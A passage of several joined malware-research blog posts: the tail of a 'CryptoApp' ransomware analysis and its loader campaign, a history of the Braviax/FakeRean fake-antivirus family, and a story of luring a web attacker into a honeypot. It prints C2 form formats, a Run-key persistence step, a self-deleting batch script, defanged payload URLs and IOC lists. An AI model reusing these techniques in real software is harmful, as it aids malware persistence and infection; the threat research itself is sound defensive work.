comp - Computer name obtained by calling [GetComputerName()]
ipv4 - IPV4 address for the infected client
blkk - Empty hardcoded value (unsure of the real purpose)
publ - Public key of the RSA key set used for the file encryption
priv - Private key of the RSA key set used for the file encryption

Decrypter C2 communciation

As said in the previous section, the communication to /kretrieve.php is specific to the Decrypter. Its communication protocol is also just plain HTTP POST communication. A specific header is hardcoded for this communication as well, its the same as for the ransomware check-in: “Content-Type: application/x-www-form-urlencoded”. The form data has the following format:

empid=%s&comp=%s&ipv4=%s

The specific parameters are:

empid - Unique ID for the system
comp - Computer name obtained by calling [GetComputerName()]
ipv4 - IPV4 address for the infected client

Conclusions: Unfinished, not spread around

From what I can see this piece of Ransomware is in development and not finished. Some things seem to work just fine others seem to be a bit broken / unstable. I don’t have any leads on who is behind it or if there are more C2s.

Comparing it to other ransomware threats like CryptoWall its quite amateuristic and simple, but then again its quite hard to compare. Without knowing anything about the backend (it could be spinning up C2 onion addresses per affiliate if it has an affiliate system (it doesnt look like it but who knows) and actors I can’t tell much about it from a 'size’ perspective.
Besides what I said above the thing is also very flawwed, I will not go into details on my blog but file recovery would have been possible in a lot of different ways. Sadly the C2 went down, I’ll be keeping my eyes open to see if and when a new one pops up :)

Note: If you go through the sample yourself it might look as if I’ve skimmed / skipped over some details. I only included details that mattered to the story to get a good image of how this thing works.

Samples & IOCs

I have only found 2 samples, one is the old development built I discovered on Malwr.com and the Decrypter from the Tor hidden service C2. The decrypter wasn’t public yet before I posted it on Malwr.com. Here are the samples downloadable from Malwr.com and VirusTotal:

Old development sample - [Malwr][VT: 36/56]
Decrypter sample - [Malwr][VT 21/54]

I have seen the following domains associated with it (besides the SSL traffic to blockhain.info for the decrypter):

guhvuoz7am24b5mv.onion (and its Tor web proxy variants of course)
cryptorepairsystems.com (originally pointed to 80.242.123.197)

Not even a day ago I blogged on a piece of ransomware named ‘CryptoApp’ which I discovered while it was still in its development & testing phase: [Analysis of a piece of ransomware in development: the story of ‘CryptoApp’]. After publication I was contacted by another analyst who was able to link the information from my blog to other samples from an actual campaign. He matched both PDB paths as wel as behaviour to these samples, this blog describes the changed made to CryptoApp as well as the active campaign. A thank you to the researcher who contacted me sharing information, you know who you are.

I suggest reading my previous article on the discovery and full analysis of CryptoApp for the following to make any sense to you as its just a brief analysis and comparison. You can read the article here: [Analysis of a piece of ransomware in development: the story of ‘CryptoApp’]

Analysis of the loader

The lure for this campaign originated from Western Union spam messages leading to a download of a payload from:

http://www[.]pikaitalia[.]it/catalogoonline/pages/transaction_certif_2412_installer[.]exe

The file [transaction_certif_2412_installer.exe] has an interesting build date. (Again, this can be faked of course.) The date is the 12th of May, the same date as the original development version of CryptoApp was uploaded on Malwr.com:
Inside the sample we find another interesting PDB path explaining its purpose (sort of):

D:\projects\Finished - Downloader - edited by me\CoreDownloader\Release\CoreDownloader.pdb

The loader is written by the same guy(s) as the ransomware, both coding style and way of setting this up is the same. The loader works quite simple:

Setup an event and mutex both with the name ’coredownloader.mutex.02022015’
Set the event and close handles to both
Create a new registry key called ’Downloader’ under ’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ and fill it with the current path of the downloader (most likely in case of interuption of the download)
Start a thread with code to download the payload
Download Thread - The payload download location is set to the result of calling [GetSystemDirectory()] which returns the system directory in my case 'C:\Windows\System32'
Download Thread - The filename to name the downloaded payload is set by using the [GetModuleFileName] function (in my case scrsss.exe)
After the download was successful it will remove the registry key added earlier
It will proceed by removing itself (the downloader) from disc using a bat script called 'uninstall.bat’ which is written to disk. It simply tries to remove the original downloader, its content (in my case):

:Repeat if exist “C:\Users\Bobby\AppData\Local\Temp\loader.exe” ( del “C:\Users\Bobby\AppData\Local\Temp\loader.exe”) if exist “C:\Users\Bobby\AppData\Local\Temp\loader.exe” goto Repeat del “C:\Users\Bobby\AppData\Local\Temp\config.ini” del “uninstall.bat”;

After removing itself via the bat script it will proceed to execute the downloaded payload by calling [ShellExecuteEx()]

The payload was downloaded from either one of the following locations:

http://weddingclip[.]ru/media/csrsss[.]exe
http://61[.]219[.]82[.]98/tmp/csrsss[.]exe
http://petersauto[.]pl/media/csrsss[.]exe
http://stonewallphoenix[.]com/media/csrsss[.]exe
http://www[.]polistav[.]sk/media/csrsss[.]exe

Changes in CryptoApp

The initial sample that was being downloaded was still the same (old) CryptoApp; the one without the red lock screen. With this campaign however a related sample was also found with the hash f6884ad8c02372c660849e1ccea8dc19. This one contained some interesting changes from the first few samples (including the one from this campaign). Most notibly the lock screen placed on the infectee desktop background was modified and contains no mention of the Tor hidden service anymore. The message is also a bit more aggresive in a way:
The HTML file shown to the user has also been modified a bit, mentions of the Tor hidden service was removed as well while having some added red text at the top:
Besides these changes I didn’t find any major other changes. I confirmed the following items to still function the same as the older versions described in my previous detailed blog article:

Filetypes for encryption
Method of file encryption (including the file tag/marker of 0x2200AF)
File decryption
C2 communication protocol

The two things that changed together with the lock screens is the price. Current method of unlocking is by paying 2 instead of 1 Bitcoin. The Bitcoin address was also changed to 1HJdRLVffmFC5ooLAZHgAkXKvziisYDrqX. I checked this address and luckily and found that it has had 0 transactions till now; no money for the criminals.

Samples & IOCs

I’ve gathered the following unique samples:

Loader: MD5 - b379f16960b33740ac02d6fd58a1813c552620ce - [Malwr.com] [VT 32/56]
CryptoApp sample downloaded by the loader: MD5 - 677ec7f735be831256762920e1876443 - [Malwr.com] [VT 27/57]
Related CryptoApp sample (with changes): MD5 - f6884ad8c02372c660849e1ccea8dc19 - [Malwr.com] [VT 42/57]

The following domains and IPs were seen for the loader and CryptoApp itself:

weddingclip.ru (Seen from loader)
61.219.82.98 (Seen from loader)
petersauto.pl (Seen from loader)
stonewallphoenix.com (Seen from loader)
polistav.sk (Seen from loader)
gvgtransportation.com (Seen from CryptoApp)

Since September 2014 I’ve been seeing a FakeAV family pop up from time to time. This family is known under two names, Braviax and FakeRean. The family has been active for quite some years, it was first spotted by S!Ri back in April 2009. In this blogpost I will perform an analysis on the current version of this family making it’s rounds online and a history of it starting back in 2009. A big thank you goes out to S!Ri for sharing some historical data on this group.
The reason why I’m releasing this article now on a group active back in January of this year is that, if you follow the timeline I show below, is that they should have reappeared around this time of year (although I haven’t seen them yet).

The Braviax/Fakerean family has quite some similarities with the Tritrax (dubbed Namechanger FakeAV) family I analyzed and hunted down back in February 2014 (Post: Analysis of the Tritax FakeAV family, their active campaign and the FakeAV social engineering kit). Braviax/Fakerean is also one constantly changing its name as you can see from a combination of screenshots made from samples starting in September 2014 until the start of January 2015:

As said, back in September 2014 this new variant became active. After seeing it pass by multiple times I decided to look into it a bit. At some point I started noticing the name changes due to the fact that the website, website banner and the actual ‘antivirus’ names didn’t match up at all, I tweeted about this on the 27th of September:

#FakeAV website calls it 'Rango Antivirus’, banner 'Win XP Security’, sample run 'A-Secure’ (https://t.co/EgYDdzDqFd) pic.twitter.com/i1amKQLsIy
— Yonathan Klijnsma (@ydklijnsma)
November 27, 2014

From this point on I started looking into this FakeAV threat some more, it started to hit quite often. Quite quickly I could pin this as one as part of the Fakerean/Braviax family and started to analyze it.

Analysis: Spreading mechanism

We’ll start the analysis of this family with the method of how it was spread, simply by mail. Around the 18th of December 2014 fake FedEx emails began to appear, one of these carying methods of infecting victims with this FakeAV. The email looked like this:
In the emails’ attachment we find a JS file:
Inside of this script we find a large piece of obfuscated script:
If we clean it up we can see its just a simple downloader which tries to infect the user with 3 pieces of malware (shotgun approach much..):
From the three payloads only one is the interesting one for this article; its the Braviax/FakeRean sample. Would you want to perform a more detailed analysis (rather than the very short one below), the sample coming from this email and used further is: 1d01611a1f88c7015c54efedacfcbc8fec55ad6de9a438087abff3be78c19901

Quick analysis: a Braviax/FakeRean sample

Because this article is more about the history of this family rather than the specifics of the FakeAV this part will be a very(!) short analysis of the sample.
When ran the FakeAV shows the usual pop-up with information on your system being infected:
Additionally when you close the window (or try to close the FakeAV program in any way) a fake Windows security center window will pop-up:
In the process of scaring the user the FakeAV copies itself to a new location and installs a registry startup key, the normal persistence method seen. The FakeAV also monitors processes that are running and kills the ones it doesn’t like which includes system utilities like taskmgr but also tools like wireshark and alike. All of this to convince the user into buying the 'product’ to clean up the 'infection’ that stops them from starting these processes.
The FakeAV also performs some C2 communication which includes information on the payment C2 service:
The client performs a request to the C2 server located at gelun-posak[.]com, the path is an encoded and base64’d unique system ID. The response contains a small config, the partially readable text string 'eo-moquales[.]Nom’ is in fact the payment wall which (after decoding) is golen-mortales[.]com.
Overal this FakeAV is just alike any other I’ve written on in the past. Payment service runs on a seperate C2 server while the main C2 server is just for infection registration / statistics. Enough on the malware, lets move on to have a look at this family’s history.

The Family

The Braviax/Fakerean FakeAV family has been around for quite some time, @S!Ri first spotted them 6 years ago. Back in around April 2009 samples started to appear for a FakeAV naming itself “Home Antivirus 2009″ and was the first of more to come:

Around the start of July it was followed by a 2nd version called “PC Security 2009″:

A 3rd version appeared at the end of July already, this time called “Home Antivirus 2010″ (even though still being 2009… they were ahead of time it seems):

Near the end of August the 4th installment of the family appeared, this time it was called “PC Antispyware 2010”. This one actually loaded an AV database, stolen from ClamAV (in fact an old one from 2007):

Then in September the 5th version appeared, “Antivirus Pro 2010”:

In 2009 5 versions of the Braviax/Fakerean family hit, from September until the end of January 2010 it was quiet; nothing new appeared. At the end of January a completely changed version appeared, this one changed it appearances depending on whether it ran on Windows XP, Vista or 7. Even under these platforms it had multiple names. Under Windows XP it called itself one of the following names:

Antivirus XP 2010

XP Guardian

XP Internet Security

Under Windows Vista it called itself one of the following names:

Vista Antivirus Pro 2010

Vista Internet Security 2010

Finally, under Windows 7 it called itself one of the following names:

Win 7 Antispyware 2010

Win 7 Internet Security 2010

An interesting move to have some name mangling dependent on the platform. After they pushed these it stayed quiet until November. In November they released a new version with similar names, only the year was bumped from 2010 to 2011. The Windows XP variants for example:

XP Security 2011

XP Antispyware 2011

In february 2011 a new version appeared with slightly updated names and GUI layout:

XP Anti-Virus 2011

XP Home Security 2011

XP Anti-Spyware

In the end of June 2011 another updated version was released. Again some updated OS based name mangling changes and updated GUI:

XP Internet Security 2012

Win7 Internet Security 2012

Another slightly updated version appeared in the end of November 2011, still based on the OS based name mangling:

January 2012 a new updated version, GUI mostly, got pushed:

In the start of October 2012 another slightly updated version appeared. Mostly GUI changes and again still based on the OS version name mangling:

Then almost a year later at the start of September 2014 the version from my analysis appeared. An entirely updated GUI and new names showed a big change. It appeared under the following names (with OS version names displayed, although not all use it):

Sirius (Win 7|Win 8|Vista) Protection 2014
Zorton (Win 7|Win 8|Vista) Protection 2014
Rango (Win 7|Win 8|Vista) Protection 2014
A-Secure 2015
AVbytes (Win 7|Win 8|Vista) Antivirus 2015
AVC Plus

GUI wise it looks like this (name stripped as its templated in the GUI at runtime):

However in the end of September 2011 a sort of offspring appeared as well named Advanced PC Shield 2012, another one appeared in August 2012 called Win 8 Security System:

Eventhough this version is also ranked in the Braviax/Fakerean family it looks somewhat different in setup.

Conclusion

The Braviax/Fakerean family has been around for a long time appearing as early as April 2009 and seems to be a success as new reincarnations appear every year.
While they aren’t as big as a threat as banking malware or ransomware it does pay well for these criminals. Because of their 'low’ volume and simply being scareware not a lot of attention is given to them. I’ll be keeping an eye on them for future campaigns for sure though :)

IOC’s & Samples

The following is a list of samples for the last version spreading from September 2014 to December 2014. No new ones have appeared as of writing this blog article.

The following domains and IP addresses were seen for those samples:

IP Address	Domain
146.185.239.110	evcash.net
146.185.239.110	softrango.com
146.185.239.111	ltsectur2.com
146.185.239.111	ltsectur9.com
146.185.239.111	fscurat20.com
146.185.239.111	fscurat21.com
146.185.239.112	fastprodst5.com
146.185.239.112	fflord25.com
146.185.239.112	fflord30.com
146.185.239.112	giron32.com
146.185.239.112	glorius11.com
146.185.239.112	golus27.com
146.185.239.112	gshsol4.com
146.185.239.112	holipolks12.com
146.185.239.112	scara123.com
146.185.239.112	scara124.com
146.185.239.112	smart-filins.com
146.185.239.112	srut12.com
146.185.239.112	srut19.com
146.185.239.113	gskskkksa4.com
146.185.239.113	jarr62737.com
146.185.239.114	gislat2for8.com
146.185.239.114	gislat4se2.com
146.185.239.114	gladi-toriusa.com
146.185.239.114	holisak-tasek.com
146.185.239.114	hysotasl.com
146.185.239.114	kaaalosa-set.com
146.185.239.114	shatiko-mero.com
146.185.239.114	svars-sta.com
146.185.239.114	tauruk-felon.com
146.185.239.114	trader562.com
146.185.239.114	veret-sapan.com
146.185.239.114	vertus-adusa.com
146.185.239.114	vesm-arast.com
146.185.239.114	zemo-numeros.com
146.185.239.114	zumo-afetuk.com
146.185.239.114	zumo-alibabs.com
146.185.239.114	zumo-archib.com
146.185.239.114	tauruk-felon.com
146.185.239.248	gelun-posak.com
146.185.239.248	fulo-centums.com
62.122.74.111	golen-mortales.com

The game I played with an attacker described in this blog was inspired by a TED talk where someone played games with a 419 scammer: James Veitch - This is what happens when you reply to spam email

On February 10th I released a wealth of information on the CryptoWall ransomware. I structured all the information about CryptoWall on a website and made it public in the form of a website known as the ‘CryptoWall Tracker’: https://www.cryptowalltracker.org/

CryptoWall Tracker

When running a publicly accessible website you can expect to get 'free security advise’ from the internet in the form of web pentesting and whatnot. Most of the scans (pentests) are automated for all kinds of reasons; be it compromising websites to abuse it for CryptoWall proxies (as described [ here ]), or simply defacing it for Zone-H 'credits’.

Some weeks ago I noticed someone started to poke the CryptoWall tracker website, this article describes the fun I had messing with the attacker (I’m assuming it was one person, more on that later).

The CryptoWall tracker setup

To make sure this story makes some sense I want to explain how the website is setup.

The website itself (the content) is 100% static, there is nothing dynamic on the website anywhere. All pages are rendered on my personal device and uploaded to the server using SCP. The reason for making the website completely static is mostly because of security. The website isn’t a constantly updating website with lots of interaction happening so I feel a lot safer making it completely static; it doesn’t impede my ability to work on it or visitors to view and/or use it.

The webserver serving the static content runs behind CloudFlare to filter out the internet noise (various automated scans), serve the website over SSL and reduce traffic by allowing CloudFlare to cache everything. This does mean I give away some 'control’ over the website itself but on the other hand it also means the website is always online. One of the features I’ve enabled on the website is 'Always Online’ which means that CloudFlare will always cache a latest version of the website even when the real server hosting it goes offline (it will tell the user this occured when serving a cached version). Another advantage of having CloudFlare in this situation is the reduction of requests that actually hit my server. All the internet-noise and normal (known) scanners are blocked by CloudFlare’s automatic filtering of possible 'harmfull’ requests. Another way I reduced the amount of request on the backend server is by enabling a 'Cache-everything’ page rule on the whole website. This means only 'new’ requests that haven’t been cached yet will hit my server; I only get unique requests that pass by all of these filters.

Because CloudFlare is pretty good at blocking all the automated scanning tools I usually only see the tools that get rate-limited really badly (any frequent hitting of anything but 200 OK gets you a CloudFlare captcha) or manual testing.

First 'attack’

I was performing some maintenance on the server (cleaning up old useless files consuming disk space and cleaning some NGINX configs) and I noticed the access log was bigger than usual. Normally the access log for the server is really really small. Only when I clear the cache on the CloudFlare page (because I made some changes to the website) I see some initial requests before the pages are cached again.

In the logs there were a lot of requests from what seemed to be a Python based scanner. The timing on them (and the fact they bypassed CloudFlares’ filters) made me think it was someone doing manual work. Here’s a small grab of requests from the attacker looking for some kind of adminstration page on the tracker website:

[01/Mar/2016:18:24:16 +0100] “GET /administrator/ HTTP/1.1” 404 0 “-” “python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1”
[01/Mar/2016:18:24:54 +0100] “GET /admin/ HTTP/1.1” 404 0 “-” “python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1”
[01/Mar/2016:18:25:37 +0100] “GET /adm/ HTTP/1.1” 404 0 “-” “python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1”

This goes on for quite some time, there’s about 80 requests in the first hour of the 'scan’. When I saw how slow the requests were coming in I felt like someone was typing them manually… or at least copy pasting them into a browser. I decided to see if I could make this person play a game, my game :)

The first thing I did was check the IP address the guy was coming from which seemed to be a Tor exit node. I checked the Tor project site to see if the node was still listed to be active and it was; bad luck, the guy seems to be coming in through Tor.

Looking at the requests I could sort of predict where he would be going. He was basically trying to find specific folders based on some kind of list. When he had a hit (a folder didn’t 404) he’d start requesting subfolders from the same list. When he was out of folders he’d go through a whole set of files ranging from backups to configurations and whatnot. After the guy hit the 'css’ folder correctly (this is just where the tracker website’s CSS style sheet are stored) I could get a list of what files he was searching for. Based on this list of files the attacker was looking for I decided to start my game.

The game: Moving location

First of, I needed to lure the guy away from the tracker website. CloudFlare was caching all his requests and some of them were hitting the filters. Seeing as the 'scan’ didn’t stop he probably was typing in the captcha codes every time (also noticed this in timing, he’d have some long(ish) delays in requests every once in a while).

The guy obviously knew I was using CloudFlare and providing him with a non CloudFlare IP would be appealing to him to investigate. I decided to plant an error disclosing an IP address to lure him away from CloudFlare. I planted the following page at /data/test.php:

Redirect page

This error is normally shown when a mysql_connect call in PHP fails to connect to a server for some reason. In this case I planted the text, its just static text I copied from a different website with some slight modifications. The IP (under the red scribbles) was the server I hoped the attacker would go to.

I planted the message and waited for him to hit the path. About 2 days later I received a request for the file after he explored the /data/ folder. Interestingly as soon as the request occured I did not see any other requests I could relate to this same attacker hitting the CryptoWall Tracker website. I had my fingers crossed for hits on the VPS…

The game: Crack hashes and get access

About an hour after the attacker found the error page I planted I received a request on the VPS. The attacker started with requesting the index, the user-agent was still “python-requests/2.2.1 CPython/2.7.6 Linux/2.6.32-042stab092.1” which was my way of confirming it was the same person.

When I prepped the VPS I did a clean NGINX install and set static files to be served and a Python bottle application. This time I created my bait files under /backup/ which would allow directory listing. The directory contained sql files (looking to be backup files) of which only one would return a dump, the others returned an NGINX forbidden page. It looked like this:

Fake database backups

Now all I needed was a good looking sqldump from what looks to be a settings table. I found a pretty cool website to generate fake mysql dumps (amongst a ton of other file formats) named [ generatedata.com ]. I generated the following sql dump supposedly being the ’cwt-mysql-settings-backup-01032016’ file shown in the directory listing:

SQLDump files

It shows a (really simplistic) usertable which is supposed to look like some kind of automated backup from a database. I generated this data and manually added the two passwordhash entries. The hashes are MD5 hashes of 'test123’ for the test account and 'Crypt3d’ for my supposed account >:). If you grab the hashes and throw them towards one of those online MD5 'cracking’ services you’ll get those two passwors back pretty quickly. I don’t know whether the attacker actually cracked the hashes manually or used a site but as soon as he had the sql dump he didn’t reappear for about 3 days.

When the attacker hadn’t returned after a day or so I first thought I lost the guy since I was making it pretty damn easy. You could poke holes in the setup pretty easily I felt.

The game: gain access

The idea I had with the MYSQL dump files was to get the guy to crack the hashes (be it online or offline) and use the passwords to login to what he would think would be the panel for managing the tracker website.

I created a small bottle application to server as the 'administration panel’ for the CryptoWall tracker. It could be requested on ’/administration/login’ and looked like this:

Panel login

Really, really, really simplistic because I had to set it up really quickly. The attacker actually found this page long before he reached the backup folder (with the fake MYSQL dumps) right after he transfered his attack from the CloudFlare based tracker website to this VPS.

To login to the panel you have to use 'my’ account from the fake MYSQL dump, username 'yonathan’ and password 'Crypt3d’. When you login to the 'panel’ you can get one of two pages. What I wanted to do is see if I could get the attacker to expose his real IP address. I loaded up all known Tor exit nodes from the Tor Project website feed here: https://check.torproject.org/exit-addresses. When you login with an IP address what shows up in that list you get:

Tor network warning

I hoped that by adding the last sentence “You have been logged out” it would force the attacker to think “shit I still haven’t reached the panel yet but the login data was correct”. When he would use an IP that wasn’t listed as an exit node it showed this page:

Internet Police message

The website I refer to (internetpolice.us) is actually maintained by a buddy of mine named Dan Tentler, he’s @Viss on Twitter. I hoped that the attacker would understand he’d perfectly played into my game when reaching this page.

As I noted before, the attacker dissapeared for a long time after he found the MYSQL dumps. About 3 days after he found the sql dumps the attacker accessed the panel, logged in, got the block page and… 3 minutes later he logged in from a non Tor IP address. A residential Ukranian IP address logged in to my fake panel.

success

Thank you for playing my game, my Ukranian friend. Of course it doesn’t mean this was his home IP address perse, it could be some kind of compromised box being used as a proxy but I really hope he messed up.

Conclusion(s)

I have poor skills in setting up a proper faked setup. This is just my personal opinion. It wasn’t as nicely done as I wished mostly due to the fact that there was a lot to quickly setup (fake pages, etc) because the attack was ongoing. I also wonder if I can come up with a better 'game’ for the next attacker poking my website(s). Funny thing though, IP history for the VPS IP would have shown what I had runnin on that IP before. Luckily for me this attacker did nothing like that and played into it perfectly… I still can’t believe this actually worked :).

I’ve made all the files used in my honeypotting game available on Github for those who might find it interesting or useful. Keep in mind the Python code is horrible, it works but it was rushed horribly.

Github repository: https://github.com/0x3a/playing-games-with-an-attacker